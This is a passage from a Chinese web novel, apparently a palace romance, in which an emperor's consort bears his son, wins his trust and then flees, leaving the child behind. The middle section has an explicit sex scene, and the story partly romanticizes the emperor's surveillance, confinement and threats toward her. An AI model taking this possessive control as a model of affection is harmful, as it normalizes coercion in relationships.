大抵是叫小的时候饿的,妙珠个子实在不高,脑袋才蹿到他的下巴那里,陈怀衡结结实实地将她搂在怀里,哄着她:“孩子都快出来了还哭呢,哭伤了身子怎么办?” 妙珠仍是哭,哭得一把鼻涕一把泪的往他身上蹭。 父亲从她还没出生的时候就没了人影,母亲又是个脑子时常不清醒的,她这又没爹又没娘的,最后还是跟了裴嬷嬷以后,才又有了半个娘。 陈怀衡正经的时候,像人的时候,切实给人一种能安定余生的感觉。 妙珠也为他突然的示好不要钱的流了一大把泪。 这泪不是假的,是真真切切的从心里面滚出来的。 “你怎么突然这么好了呀?”她问他。 陈怀衡只觉好笑,他拉着到桌前坐下,手指给她擦着眼泪:“既说了你听话,我就待你好,你以为我骗你?还是觉得我是那种光说不做的人?” 可是,可是你为什么不能早一点对我这样呢? 就算是早一点,她都信了,可是现在陈怀衡再怎么做,她都仍旧心有余悸,害怕哪天她不听他的话了,他就又该拿剑来唬她了。 她怕啊,过去的那些事情好像仍旧没办法那样就释怀。 大抵是她心眼太小了些,孩子都要出生了,日子分明也越来越好过,可她却仍旧是没死心。 而且,陶先生教她读过诗经,她说,士之耽兮犹可说也,女之耽兮不可说也。 现在信了,往后的一辈子便也就这样了。 不可以信了,总不能再信了。 把心给出去的事,她再轻易做不到了。 感动自然是可以感动,她又不是木头,这也能一点触动都没有,相反的,她比谁都容易动情,受得苦太多了,谁对她好她都能感动得掉眼泪。只是眼前这人是陈怀衡,眼泪掉过以后,今日的事情也就从心里头过去了。 因为记着他的一点好,把自己的后半辈子再一次托付给他? 那太亏了,不值当啊妙珠。 妙珠,不值当的。 她已经等了这么久了,孩子都快出生了,不等啦? 怎么可能呢。 她意已决,坚如磐石。 妙珠被陈怀衡擦干了眼泪,就开始拆起了那些礼盒,陈怀衡就坐在一旁,撑着下颌看她。 她拆一个就笑一个,脸上的笑越堆越多,眼睛都要眯得瞧不见了,嘴巴里头也一直说着:“陛下真好,陛下真好。” 瞧她这样,哪个男人受得了啊?再多夸几句,要天上的星星月亮都得给她摘下来了。 哪里有什么祸国妖妃,到头来,有的只是没出息的帝王。 * 陈怀衡还是皇子的时候读的书不怎么多,只是一些开蒙的书罢了,他大约五岁的时候就能认字了,读书什么的不知为何天生对他来说就轻易简单地要命,仁宗一开始的时候还总笑呵呵夸陈怀衡聰慧,只是,太皇太后瞧着却不大怎么高兴。 她似乎不怎么喜欢聰慧的皇子。 她的反应当然没有那么明显,只是,或许是不愿意在孩童面前掩藏自己的心绪,又或许是觉得那些不过丁点大的孩子也决计猜不出她那些隐秘的心思,所以,她在几岁大的陈怀衡面前,从来没有遮掩过自己那妄图掌控朝政的心思。 她的强势大家有目共睹,可她那卑劣的心好像只有陈怀衡察觉。 渐渐地,聰慧的孩子开始看不懂书了,认不得字了,大家也都说过可惜,怎么小的时候还有神童之姿,越大几岁,却渐泯然众人。 仁宗觉得可惜,可太皇太后却笑眯眯说:小孩子嘛,再长大几岁说不定就聪明了呢。 太皇太后随意宽慰仁宗的一句话,却一语成谶,最后害得自己死都不痛快。 陈怀衡也并非是长大几岁以后才聪明的,他从五岁开始,一直聪慧到了现今。 只是,没什么人能知道罢了,就连太皇太后都被他蒙骗。 现在他已经不用再去做戏,不用再去当个愚钝的稚子,他锋芒毕露不用再顾忌任何人。 可是现在好了,聪慧的皇帝却又被一桩棘手的事麻烦住了。 现在都十月份了,孩子还有些许时日就要出生,可这名字怎么都定不下来。 当初仁宗给孩子取名可方便了,那头孩子刚落地,他后脚就从脑袋里面拎出来一个字,霖也好,衡也好,全都即兴而出。 可第一个孩子多少是要重视的啊。 陈怀衡怎么想都不大对,怎么想都不满意,晚间和妙珠坐在桌前,看着那几个名字挑来挑去,妙珠叫他弄得头疼,道:“名字罢了,叫什么都使得,你费这大把劲做些什么。” 陈怀衡拿着笔,还在那里挑挑选选,一边又瞥她道:“自己的孩子不上心?那对什么上心?” 他就这样一个人,真要对什么东西上心,就毫不掩藏。 这些东西是藏不住的,一言一行是很难去遮掩住一个人的本心的。 自己的女人是可以上心。 自己的孩子当然也是可以上心的。 他没有任何理由不去对他们上心。 他不像妙珠,妙珠心里头想些什么永远不会有人知道,可是现在陈怀衡想些什么,人尽皆知。 陈怀衡把写着名字的纸张推到妙珠面前,他道:“你也挑,别总是要我来选。” 妙珠看这些名字大差不差,无非都是用些极其华丽的词组在一起罢了,可她总算也为他解决了一桩烦心事,随便挑了两个名字出来。 男孩唤锦聿,女孩唤含瑛。 最后,孩子的名字便被这样由陈怀衡精心写下,妙珠草率挑出。 好像从这里开始,早该能预料到妙珠后来会做出那样的事来了。 可是,陈怀衡一无所觉。 爱的时候没有知觉。 沉浸在爱中的时候更别想有。 与其说陈怀衡想让妙珠一点点地浸在温水中,慢慢地松懈了下来,倒不如说,从始至终泡在那片温水之中的,一直都是陈怀衡自己。 * 锦聿最后生在一个初雪刚好落下的日子。 十一月才过几日,妙珠躺在床上,肚子忽就疼了起来,那几日里,陈怀衡算着日子孩子快要生了,便 在她身边形影不离,妙珠肚子一有了动静,他就赶紧唤了人来。 妙珠在房间里面竟整整生了快有一日之久,从白天生到了黑夜,她在里面生了多久,陈怀衡就在外面站了多久,他甚至不知道雪是从什么时候刮到了身上,不知道天是从什么时候变黑,手背也不知道是从什么时候咬出了血。 她是不是出什么事了?不会要挺不过去了吧?怎么可能呢?妙珠这么一个**的人,怎么会挺不过去呢? 后来再回想起来了那日的情形,陈怀衡只疑心妙珠是要被黑白无常牵走了,他几次想要闯进去把妙珠从鬼门关扯回来,可是后来好歹是神智占据了大脑,没有冲进去捣乱。 陈怀衡不知道自己在雪天却冷汗岑岑,不记得自己那个时候煎熬难耐,如入十八层地狱深受折磨。他只记得,那扇紧闭着的房门终于被打开了,里头的人出来千贺万贺,“陛下,母子平安啊!娘娘和殿下都平平安安!” 陈怀衡那紧绷着的心,一下子就松开了。 这股劫后余生的感觉,竟让他猛然喘起几口粗气。 即便往后那些年再如何恨妙珠,可他回想起那日情形,也仍旧是庆幸 庆幸她还平平安安的活着。 第53章 第五十三章妙珠跑了 錦聿刚出生的时候难看得要命,妙珠多看两眼都嫌眼睛疼,但她终归也是爱孩子的呀,等她有力气能抱着孩子之后,就开始抱着孩子不撒手了。 有些東西是看一眼就少一眼的,就像是这个孩子,在她肚子里头待了快有十月吧,这十个月的母子连心连身,怎么可能会没有一点感情呢。 再说,孩子是最没错的。 孩子是最没错的。 妙珠不会对錦聿带着一丝的他想,他只是她的儿子,仅此而已。 宮里头有嬷嬷们照看着孩子,可妙珠許多事情却还是亲力亲为,比如说喂养孩子等事。在她生了孩子后两三个月,身子终于养得差不多些,又过两三个月,她能抱着錦聿四处走走逛逛。 他们又搬回了乾清宮里头,多了个孩子之后,临照殿怎么都觉着有点小了,妙珠在这里住着左右也是离不开陳怀衡,倒不如搬回去干脆。 对这个住了快小半年的宮殿她也没有任何留恋,离开的时候甚至没有不舍。 陳怀衡乐意见得妙珠对孩子上心,毕竟他自己一开始就是想用孩子留住她的,所以,她对孩子上心,他乐见其成,只是后来,太上心了一些,他又有些不是滋味了,可吃自己孩子的醋,说出去也都好笑,陳怀衡嘴上没说,心里头倒越发看錦聿不大顺眼了。 傍晚的斜阳笼罩了乾清宮,火红的残阳如血一般,彼时已至三月中旬,天气也慢慢暖和起来了,晚上的时候,妙珠用过晚膳后,胸口突然胀得慌,抱了锦聿过来喂,陳怀衡坐在一旁看奏折,视线却落在妙珠的背影上。 分明是生过一个孩子了,可是妙珠看着仍旧是和从前没什么两样,那些衣服落在她的身上,随着她的动作紧紧贴在腰身,勾勒出一道弧线。 她给孩子喂着奶,忽地張口道:“阿衡,明个儿我想往施家去一趟。” 她同宁煦也許久没见过了,上回见还是在锦聿的百日宴上,这算起来,都又快有一个月了。 陈怀衡并没有在看奏折,视线一直落在她的背影上,听到她开口后,马上反问:“去做些什么?你想见她,讓她进宫来找你便是。” 妙珠回过头去看他一眼,道:“我就是想带着小聿去宫外一趟而已,这时日天气好,去外头的街上逛逛也热闹。” 她知道陈怀衡问这些无非是不想她出宫而已。 可是,她哪里能一辈子都闷在这里头呢。 陈怀衡道:“有空我带你去就是。” 妙珠闻此有些恼了,瞪着他:“我就只是想和宁煦去逛逛,这也不行?这样都不行?” 陈怀衡仍旧是没怎么松口。 妙珠想做什么都行,可是一个人出宫的话,他始终是不大放心。 他不怕她跑,毕竟她总不能带着孩子跑到哪里去,可是他不在他的眼皮子底下,他就是不大放心。 光影落在陈怀衡的脸上,冷清清的光单薄地落在他的脸上,将他的鼻子照得更加挺拔,脸色也带着几分不近人情。 妙珠见他如此,咬了咬唇,也不再说了,喂好了孩子后,就抱着他往乾清宫外去。 锦聿才四个月大,同刚出生那会相比,现在生得总算是周正多了,皮肤白白嫩嫩的,跟豆腐块似的,眉眼之间竟依稀能寻得几分陈怀衡的英气。 陈怀衡喊她:“你哪去?” 妙珠道:“晚上我带着小聿回临照殿去。” 陈怀衡知她这是闹脾气了,见人都要走到门邊了,他起身追了上去,他把锦聿抱了过来,道:“你想带我儿子去哪呢?” 妙珠想把孩子抱回来,道:“那也是我儿子。” 陈怀衡才不叫她得手,挟天子以令诸侯,抱着锦聿就往里头走,妙珠见陈怀衡这幅模样,气得想要扭头就走,可是走不走得了不说,明个儿更别想出门了。 妙珠想了想,还是追了上去,拽住了陈怀衡的衣袖,她深吸了一口气,开始和他讲起了道理。 她道:“你能不能不这样行吗?我现在儿子也有了,名分也有了,你对我也好,我是真想和你好好过的。物极必反,你总这样关着我,我心里头也难受的嘛。” 妙珠从背后抱住了陈怀衡,她抱着他的腰,小脸贴在他宽厚的背上,道:“你别这样,行吗,求你了,我哪也不去,你在家里等我,我哪里也都不乱跑。” 从前那一回妙珠闹得实在太狠了,一直到现在陈怀衡也仍旧心有余悸,即便现在日子美满安生,可他仍旧怕给她一个机会放纵,她又能过了火。 可是,她说,他在家里等她,她哪里也不乱跑。 家。 家 就因为这个字,陈怀衡眼皮狠狠地跳动了一下,他看了看怀里抱着的儿子,身上是妙珠紧紧地抱住他。 唔 家。 家啊。 他也有家了。 说来土气却又不免心酸。 这样一个相亲相爱的家,哪里是这么容易得到的啊,他之前可从来没有这些的。 现在和妙珠有了和妙珠的家。 陈怀衡最后还是如了妙珠的意。 没办法,她太懂怎么拿捏他了。 妙珠如愿以偿出了宫,她也确实没有撒谎,只是去了施家寻了宁煦一趟罢了,再后来,两人带着锦聿上街逛了一会。 即便现在于外人来看,妙珠是陈怀衡的宠妃,可是,即便他如何疼她,疼得竟留她在乾清宫同居同住,然,大多数人还是瞧不上她啊,她没爹没娘的,将来万一失了圣心不就什么都没有了吗?妙珠也没什么朋友,宫里头除了荣桃外,也就只剩下了宫外的宁煦和她亲近。 宁煦也喜欢锦聿得厉害,这回见妙珠带着孩子出宫来寻她,也欢喜得很,做了一回東道主,狠狠尽了一番地主之谊。 妙珠在宫外头痛痛快快玩了一遭,而后早早就回宫了。 饶是妙珠不用动腦子也能猜到,即便明面上跟着她的只有宫人护卫,可暗地里头,说不 准还藏着一大堆锦衣卫呢。 他讓她出宫,可仍是不放心她的。 没关系的,不着急,慢慢来。 等待。等待。 她连孩子都生了呢,还有什么能等不住的呢。 等到陈怀衡习惯她出门的时候,等到他不再讓人跟着她的时候,一切才会变得轻松起来。 很快就到了锦聿的周歲宴,孩子一歲大了,日子不知不觉竟就这样过去了一年。 十一月的日子,天气反反复复又变凉了。 这场周歲宴隆重盛大,妙珠身为孩子的生身母亲,今日盛装,头上带着各式各样的首饰,闪着耀眼炫目的光。 妙珠难得这般,她被锦衣丽服、名贵首饰簇着,比这些夺人眼目的死物还要美不胜收,宴席开始前,陈怀衡在宫殿里头抱着人亲了好一会才肯放过,要不是妙珠一直掐他说外面还有人在等着,陈怀衡三下五下就又该偷香窃玉,带着她滚床上去了。 他太不正经了,都当爹了,都弱冠了,还这么不正经。 周歲宴上来了不少名流世家,肱骨大臣,这是陈怀衡的第一个儿子,虽是嫔妃所出,可看陈怀衡对他们母子极为重视,谁都不敢怠慢,在这周岁宴上也说尽体面话。 陈怀衡就是要讓所有人都知道,妙珠是他宠爱的妃子,他就是要让人知道,他对这个儿子有多重视。 金翠耀目,妙珠不会再是当初卑贱的宫女,她要当天底下顶顶尊贵的人,他得把她捧到天上去。 大臣们明面上不敢说,但是背地里也跟着编排,只是一个妃子罢了,怎么一副皇后做派!这生出来的儿子也拿来当太子宠?!妖妃,妖妃啊。 今日陈怀霖也来了,妙珠没机会再能见到他,也已经許久没再见过他,他看着好像变了許多,然而,那張脸却好像又什么都没变。 妙珠也不敢再多看他,只是一眼,就匆匆扫过。 谁知道啊,就这一眼陈怀衡晚上都要和她算账。 锦聿被宫人们抱到了别的地方去了,陈怀衡三两下就把妙珠头上的那些珠翠拔了个干净,妙珠央求着道:“洗洗先嘛,这么急做什么。” 哪里忍得住呢? 陈怀衡道:“就这样,等不了。” 他今日饮了几杯酒,浑身燥热难忍。 妙珠不喜他身上的酒气,半哄半迫将人引去了净室那头,谁知他是真忍不了,在水里面就动手动脚的。 从净室里头出来的时候,他还在她的身体里面。 他抱着她回了床上,又把人按在榻上跪着,他抓着她的双臂,一邊又问她:“今个儿瞧他做些什么呢?” 妙珠叫他弄得满脸潮红,这突如其来的一句话让她身子不可遏制地紧张了一下。 妙珠装傻,问:“你在说什么呢?” 陈怀衡叫她这么一弄,额间青筋都忍不住跳了跳,他呵笑一声,不紧不慢道:“你夹我做什么什么?害怕?紧张?看就看呗,又没不让你看,怕些什么。” 妙珠笑,一邊忍着身上席来的浪潮,一邊道:“这都多久以前的事了,你还醋呢。而且就那么一眼,只是不小心瞟过去的,又不是特意去看的。” 陈怀衡不满她这轻飘飘的态度,她这幅样子弄得他有多小气、多无理取闹似的,反倒是将他变成这样的罪魁祸首却还和个没事人一样。 他一言不发,只闷头苦弄,将她送上了浪顶。 妙珠喘着气,她转了个身抽出,反将陈怀衡推到了床上,陈怀衡一开始不明白她这是想做什么,可是很快,就见她自己摸索着在他身上坐下。 她坐在他的身上,自己开始胡乱动了起来。 满头乌发落在肩头,寂寥的黑夜中,她的神色模模糊糊带着妩媚,嘴巴里面还在说些安抚他的话:“我只喜欢你啊,阿衡,我只喜欢你的啊,我的心你现在难道还不清楚吗,小聿都一岁大了,那些以前的事,我早都不记得了。以前是怪过你的,现在,你对我这么好,我还有什么好怪你的呢,我哪里有这么不识好歹呢?” 说着说着,她又趴了他的颈间,蹭着他,她缠着问他:“你呢?我总说喜欢你,你喜欢不喜欢我呀?” 身体的极致快感和灵魂的轰鸣震颤达到了统一,巨大的愉悦甚至都让他的手忍不住抖动震颤,陈怀衡死死地将人揉进了怀中,恨不得把她的骨头揉到他的血肉里面,他转过脸去将亲她的嘴,一边亲,一边含含糊糊说着:“我喜欢不喜欢,你还不知道?” 她就是太知道他了,所以才知道怎么来对付他。 就像他不想她出宫去,她也总有办法让他松口,什么事情到了她的手上都变得那样轻松就叫人松口答应。 她现在还问他喜欢不喜欢她。 她明知故问,她狡猾至极,可他又不知不觉,心甘情愿地落入她的圈套,再想脱身之时,一切都已经来不及了。 妙珠痴痴地笑:“你喜欢我就好啊,你喜欢我就好的,不然我真的也很害怕,万一哪天你不要我了,我和小聿该怎么办啊。” 真的真的,死了都会把你揣上的。 哪里会不要你啊,妙珠。 灵正十一年的春日是个欣欣向荣的时节,这个春天好像格外的长,如若一不小心回忆起这个春日,似乎马上就能落入永恒之中。这一年,妙珠十八岁了,而他二十一了,周岁过完,小聿也有一岁多大了。 春日负暄,乾清宫后苑的那颗白玉兰开得茂盛,妙珠闲时就喜欢抱着锦聿在玉兰树下和人说些闲话。 她的心大概已经全然被孩子占满了,她喜爱孩子,和孩子待在一起也总像是待不腻,陈怀衡还总喜欢拿她从前说的那些话讥歪她,“你成日和锦聿待在一起,不腻?” 妙珠这时候便喜欢翻白眼,“和自己的孩子有什么好腻的呢?” 是呀,和自己的孩子有什么好腻的呢。 锦聿一岁多大已经会咿咿呀呀喊爹娘了,他先是开口喊的“娘”,过了又被妙珠哄着喊出了一个“爹”来,得雨露均沾呀,不然那小心眼得一直记着。 妙珠偶尔会带着锦聿出宫,有时陈怀衡会和她一起,可大多时候,陈怀衡还是忙的,新政的事情不容懈怠,好不容易有了些许起色,他可不能松了气,陈怀衡陪她的时间不多,可偏偏妙珠自己又是个闲不住的,总是想着去寻宁煦。 一开始的陈怀衡还喜欢让人盯着她,可是,每回她都如约而归,陈怀衡的心也渐渐松懈了。 她再没提起过什么离开的事了,毕竟她喜欢他,不是吗?所以,怎么可能会想着离开呢? 安稳是一个女人骨子里面流淌着的東西,日子稳定下来了,心也就定下来了。 妙珠现在根本离不开孩子,也根本离不开他,他想,他就算是把她放到外面,她自己也一定会回来的。 妙珠已经有了无法割舍的东西。 哎,她离不了他们的啊。 她离不开孩子。 离不开他啊。 妙珠会一直留在他的身边,妙珠和他一起养孩子,以后最好再生个女儿出来,儿女双全那最好了,等老了,他就该和妙珠一起享天伦之乐。 妙珠喜欢他。 妙珠爱他啊。 妙珠 妙珠 妙珠跑了。 妙珠跑了 妙珠跑了…… * 那是一个极其明媚的春日晴天,天空中没有一丝的阴云,响晴之下,白玉兰都像打着晕,阳光落在人间大地,一切都是那样辉煌灿烂,这样好的时日,几乎没有任何东西能去预料到妙珠的离开。 这日用过午膳后,妙珠又带着锦聿出门去寻宁煦了,她和宁煦近时好像寻到了一个有趣的玩样,茶楼里的说书。 妙珠这段时日听得正趣,不亦乐乎,一到点就带着锦聿出门去寻宁煦,去茶楼里头,每到傍晚时候才终乘兴而归,晚上躺在床上的时候她那张小嘴喋喋不休的,还在同他说着从说书人那里听来的趣事。 陈怀衡是不大乐意她日日出门去的,可是妙珠每日回来都高兴得很,他便也没再说些扫兴的话了,他又说,她若是喜欢听,便让说书人进宫来,妙珠说,那有什么意思?便是听得人多了才热闹。 那她喜欢,陈怀衡便也不再说了。 总归他时时忙于政务,也没功夫陪她玩闹,好不容易寻到些喜欢的东西,便随她了。 妙珠从午膳那会就不在宫里了,陈怀衡和大臣们商议政务一直到傍晚,春日的残阳如血一般落下,整个皇宫都被照得红扑扑一片。 大臣们离开之后,陈怀衡又等了一会,却还没等到妙 珠的回来,现下都已过了申时,她却还没回来。 就在这时,施枕谦寻到宫里了。 陈怀衡问他:“你怎么来了,妙珠怎么没干脆跟着一道回来?” 她不是也在施家吗?施枕谦来了,她怎么不回来? 施枕谦道:“两个人午时那会去茶楼听人说书,这会还听兴头上呢,宁煦非要扯着妙珠在施府歇一晚,你就随她们吧。怕你不放心,非让我进宫来传个话。” 陈怀衡下意识皱眉,他道:“出去的时候也没说过歇在外面,不行” 话还没说完就叫施枕谦打断了,他道:“哎呀,你怎还婆婆妈妈上了呢,有什么好不行的,她们两人话说得来,便是留一个晚上叫她们快活快活也使得,怕什么呢。” 他又说:“你把人看这么紧干什么啊,还怕人跑了不成?孩子都还在呢,怕什么啊。” 施枕谦的嘴巴向来也是厉害的,一眼就知道陈怀衡心里面在想些什么,听他这样说,陈怀衡真也没再说些什么了。 也罢,她现在这个时候应当是还在和宁煦说着小话呢,若是猝然带她回宫,她又要该不高兴了。 罢了,罢了,一个晚上罢了。 离了她难道一个晚上都过不了了吗? 施枕谦今夜也留在了宫中,两人许久没这样单独凑在一起喝过酒了。 施枕谦喝着酒,笑话陈怀衡真是没出息,被一个小宫女拿捏的死死的。 陈怀衡说他不懂,他没被拿捏呢,是妙珠被他捏住了,妙珠现在都离不了他呢。他又说他那年纪也老大不小了,也该娶妻了。 施枕谦这就只是笑笑不说话了,他又问他最近新政可还顺当?没出什么大事吧。 能有什么大事?没事。 两个人都是话不多的人,左扯一句右扯一句,最后也没多喝,五分醉就止住了,施枕谦歇在了宫里头,陈怀衡回了里殿。 屋子里头的桌上还放着妙珠的针线匾,这个盆子里面诞生了许多件锦聿穿的衣裳,现在终于有他的东西了,前些日子她在那里说过给他做一个香囊,陈怀衡走过去拿起来看,发现终于快做好了。 陈怀衡的手指在香囊上面抚了抚,嘴角不自觉挂着一抹浅淡的笑,他看了许久,终将这东西放回了原位。 今日妙珠难得没在,习惯了抱着她入睡后,现在竟连她不在一个晚上都忍耐不了了。 陈怀衡有幸借得酒劲昏昏沉沉入睡,他想,明早一定要早早去接她回家。 第二日,陈怀衡和施枕谦一道去了早朝,待到早朝散后,一道和他去了施家。 施枕谦道:“这么急做些什么?人说不定昨日闹得厉害了,现在都还没起身呢。” 陈怀衡却是一刻都等不了了,他不听施枕谦说什么,执意就往施家去。 没法,他也只好带着他一起回去了。 等到了施家的时候,下人过去喊施宁煦和妙珠,大约过了半个时辰,施宁煦抱着锦聿姗姗来迟,陈怀衡皱眉问:“妙珠呢?” 锦聿这会已经醒了,却不知为何一直哭闹不停。 施宁煦一边哄着锦聿,一边道:“昨天玩得太欢了,这会还歇着呢。” 或许是锦聿的哭闹声太过响亮,陈怀衡的心不知为何突然变得又慌又乱,他看着施宁煦问:“她在哪里?她现在在哪里?” 施宁煦仍旧只道:“屋子里头歇着呢。” 陈怀衡的声音不知道是怎么回事,突然有些抖得厉害,他说:“带朕去找她。” 施宁煦还想再说些什么,陈怀衡却冷声道:“宁煦,带朕过去!” 她怀中的锦聿或许也是察觉到了气氛的不对劲,忽然就开始哭得更厉害了一些。 施宁煦看已经拖不了时间了,只好道:“她不在了。” 她已经不在这里了。 陈怀衡听到这话,感觉腦子里面有根弦好像忽然崩断了。 一声声铮鸣作响,在他脑中久久不能散去。 他大步上前,脸色已经难看到极点了,施枕谦死死挡在宁煦身前。 陈怀衡的视线看向了他,他咬牙切齿道:“你也在骗我?” 施枕谦也不敢再看他,只是道:“对不起” 没办法,昨个儿宁煦都差跪下来求他了,她就差以命相逼了。 若在宁煦和陈怀衡之间选,他自然是选宁煦。 再说,之前那三十板,说白了他也有错。 在妙珠说出要逃走之前,所有人都以为她是放下了,都以为她是开始打算和陈怀衡好好过下去了,就连陈怀衡自己都是这样想的。 可是,她的猝然离开,就像是一个巴掌一样狠狠地打在了他的脸上。 脑子里面的那根弦断得彻底,陈怀衡死死地盯着施家的兄妹,竟满脸都是怨恨。 他们竟然和她,一起来骗他。 陈怀衡从宁煦手上抱回了锦聿,他脸上冷沉,一边往皇宫回,一边招来了人,寒声道:“现在马上派人去追。” 宁煦的声音从背后传来,她冲他道:“她意已决,铁了心要走,你何必这样迫她?!” 妙珠若是真能安定下来,早就定下来了,何至于都快过了两年,怀胎十月,孩子都一岁多了,还想着跑呢?她离开前,分明是舍不得孩子的,可最后也还是走了。 她连孩子都能决心舍弃,他何必要这样死也不放手呢? 陈怀衡听到宁煦的话连步子都没停一下,径自抱着孩子离开了这处。 他逼迫她? 他逼迫她! 陈怀衡现在已经快要失去理智,若非怀中还抱着锦聿,只恨不得空出手拿剑砍两刀才痛快。 他被她引诱至此,被她欺骗至此,到最后竟还说是他在逼她。 怎么不说她在把他往死路上逼呢。 他要找到她,他要把她抓回来。 他是真想扒开她的心看一看,那里头到底是什么做的,怎么就能硬成这样。 竟抛夫弃子,连锦聿都不要了,就跑得这样干净。 陈怀衡满脑子都是恨,都是悔,恨自己又被这个小骗子骗了,悔自己竟真这么放心她在外面。 两年了。 都过去两年了。 她那颗躁动不安的心竟然一直没有停歇。 她要跑?她死也别想。 他一定会把她抓回来,他不会放过她的。 第54章 第五十四章他一定会把她抓回来的,她…… 妙珠出逃是一件蓄谋已久了的事情,没有任何人知道,只有她自己知道。 事以密成,若是一件事情还没做就先说出了口,那多半就是成不了的。 妙珠等了快有两年,从两年多前有了孩子,和陳怀衡说好好过的便一直在等。 这两年日子確实越发安稳,陳怀衡待她也越发好。 可她仍旧没办法忘掉从前的事,她没办法再把自己的那一颗心再全部给出去了。 一个女人若是把自己的心全都给出去,那是会死的。 心死了,身子也如行尸走肉。 这两年的日子于她而言很舒服,这实在是没办法否认,她这一生之中,最安稳的便是这两年了。 可是就如蓬生麻中不扶而直,白沙在涅与之俱黑,她若继续安稳下去,迟早有一天死了都不知道。 命运已让她如此难堪,前路注定难行,风霜雨打,又何必如 此狠心奔逃? 妙珠无数个被陳怀衡抱在怀中的深夜都在告诉自己。 就算死在风雨里,也不要死在那摊温水里面。 陳怀衡終于对她放心了。 她終于能找到机会跑走了。 在他最动心的那一刻,她毫不犹豫地抽身离开。 小聿 她的儿子。 是她对不起他。 可是,当初决定生下他的时候,她也决定着将来迟早有一天会抛下他。 两年的时间能改變很多東西,可很多東西还是没办法變的。 孩子,注定挡不住母亲的路。 妾心决绝,坚不可摧。 临行前,她抱着锦聿蹭了又蹭,感受他身上最后的温暖,锦聿也像是知道即将发生什么,他知道母亲即将离开,嚎啕大哭,不管怎么哄都安静不下来,妙珠叫他哭得心酸,可最后还是亲了亲他,就头也不回地离开了。 她舍不得小聿,可也知道,自己带不走他的呀。 再说,他这么小,跟她走了也是吃苦,留在宫里头,陈怀衡總也不能苛待自己的儿子的。 她自己都是这么苦着长大的,也不想再让儿子跟着自己吃苦了。 宁煦也不曾劝她,妙珠是在前几日和她提起那事的,她一开始还覺有些惊讶,可是很快却又了然,確实是妙珠会做出的事啊。 就像是她先前猜疑得那样,陈怀衡留不住妙珠的心,他是没办法驯服她的。 她和妙珠理好了逃跑的线路,给她伪造了路引,怕她路上银钱不够,非要让她带够了钱,她怕她路上不安全,执意要她带上一个施家的女护卫,前路艰难,没人作伴实在危险。 妙珠最后便在那样一个风和日丽的天气出发了。 与出发前的忐忑不安相比,真上了路后,才发覺竟这样轻松。 她是午后出的皇宫,出了皇宫之后便马不停赶离了京城。 从离京之后,那股压在胸口的郁气就这样一散而去,妙珠郁结的心,終于又活了起来,在看到青山绿水扑面而来之时,她才知道,她的人生,从十八歲这年才开始。 她是妙珠。 她不是陈怀衡的婢女,不是他的女人。 她也不想骗他的。 可是,没办法,实在是没办法。若不能骗来他的心,怎么都没办法。 陈怀衡要将她当成逃奴也好,逃妃也罢,總之,若是再被他抓回去,自己决计是没有好下场的,她不能被抓回去。 妙珠和女护卫千吉一路向南而去,宁煦那边在为她拖着时间,陈怀衡暂时不会发现她的出逃,她有至少一日的先行时间。 在关乎生死一事,妙珠也出了奇的冷静机敏,她乔庄打扮,隐姓埋名,她用着别人的名字,易成别人的相貌,一路跑啊跑,竟躲躲藏藏,真躲过了那些人的搜查。 若没宁煦帮她,她只怕连京城都出不了。 也好在老天没有那么残忍,还有个人能帮她。 锦衣卫的人找不到妙珠的行迹,因为妙珠这个身份,已经被彻彻底底丢在京城中了。 陈怀衡等了十天,也没等到妙珠的消息,他几次三番去问宁煦妙珠的下落,可宁煦的性子,自是死都不会说。 陈怀衡问,她也只说:“她去了何处,从没与我提过,怀衡哥若是恼,宁煦把命给你赔不是。” 说来好笑,当初的时候他从没站在过妙珠那边,他护着宁煦,又站在施枕谦那边,让人打了妙珠三十大板,他毫不犹疑地将她归结为推了宁煦落水的凶手,而现在,宁煦和施枕谦这两个当初他没有去碰的人,反过来联合一起对付他。 陈怀衡能要宁煦的命嗎? 他还要用宁煦的命来给他自己犯的错陪葬嗎? 若是能抓到妙珠,哪里用得着十天啊。 若是抓不到,十天又哪里够用啊。 一开始知道妙珠跑走的时候,陈怀衡恨不能马上抓到她,找条链子把她锁到天荒地老才解气。 他是真以为她放下了的。 他以为那些日夜的缠绵让她动情,以为她那口口声声的喜欢出自真心,以为她的心已经渐渐安宁下来了,他以为他们的孩子也足够留住她了。 可是,他怎么就忘记了呢,妙珠一直都很喜欢骗人啊。 她从小到大也没有得到过别人的愛,父亲的愛如同空气一样虚无缥缈,母亲的愛如同鞭子一样痛不欲生。这些爱对她来说,太痛了,太没意思了,所以,后来也能这么狠心地把孩子都丢下了。 她不愛孩子嗎?她难道就不爱锦聿嗎? 那又怎么可能。 陈怀衡知道,她比所有人都疼惜他。 那是她十月怀胎生下来的孩子,那是她亲自己一口奶一口奶喂大的孩子,她怎么可能不疼他。 她早就盘算着自己要走的吧,她其实早就盘算着自己要走的吧。 她给他做了能穿到三歲大的衣服,后来就没来得及做了。 她给他留下了什么?一个破香囊。 就连绣都没有绣完,稀稀拉拉,半死不活地躺在那针线匾里面呢。 他恨她。 他太恨她了。 既不爱他,又为什么要演的这般深爱,又为什么要抓住了他的心后一把碾碎。 她为了自己能跑走,这样对他。 她好残忍,好自私啊。 陈怀衡恨不能把她咬得鲜血淋漓才能解气,他恨得全身的骨节都在咔咔作响。 无数个深夜,陈怀衡都时常惊醒,他梦到她口口声声说着,“喜欢阿衡。” 然而一覺醒来,全是虚妄。 她不爱他,她竟然真的一点都不爱他。 不爱到了就连孩子都已经不能留住她了。 为了离开他,就连锦聿也不要了。 去找妙珠的人迟迟没有好消息传回来,陈怀衡等了一天又一天,一个月没有消息,两个月没有消息,三个月也没有 蠢笨的妙珠如有神助,让人找不到一点踪迹。 就连陈怀霖的府邸他都叫人搜过一遍了,显然,妙珠也没蠢到躲到他那里去,陈怀霖也全然不知道妙珠出逃的事情,不过,叫他那么一查便知道了。 她离开后,陈怀衡就再没睡过好覺了,他开始變得易怒易躁,那些处理了几年的政务早就得心应手的政务竟都再看不下去,每日看着那空荡荡的没有妙珠身影的殿就忍不住想要砸東西。 他也確实砸了。 乾清宫时常一地狼藉。 那些政务也都被他丢到了一旁,丢给手底下的人去管,他将自己关在乾清宫中,終不见天日。 落差是最难叫人接受的東西,本来他都以为触及到妙珠的心了,可是手才碰上去,她就毫不留情地抽身,留他一个人在这空荡荡的殿内。 自从妙珠跑走后,陈怀衡就再没睡过好觉了。 他时常睡不着觉,太医开的安神香也没用了,许多时候只有眼睛一直睁着直到受不了了才能歇下。 有时候好不容易入了梦,却又梦到妙珠,再醒过来的时候,脸上竟糊满了泪。 现在的皇帝比以往任何时候都可怖,谁都不敢凑到他的身前。 唯独锦聿能近他的身。 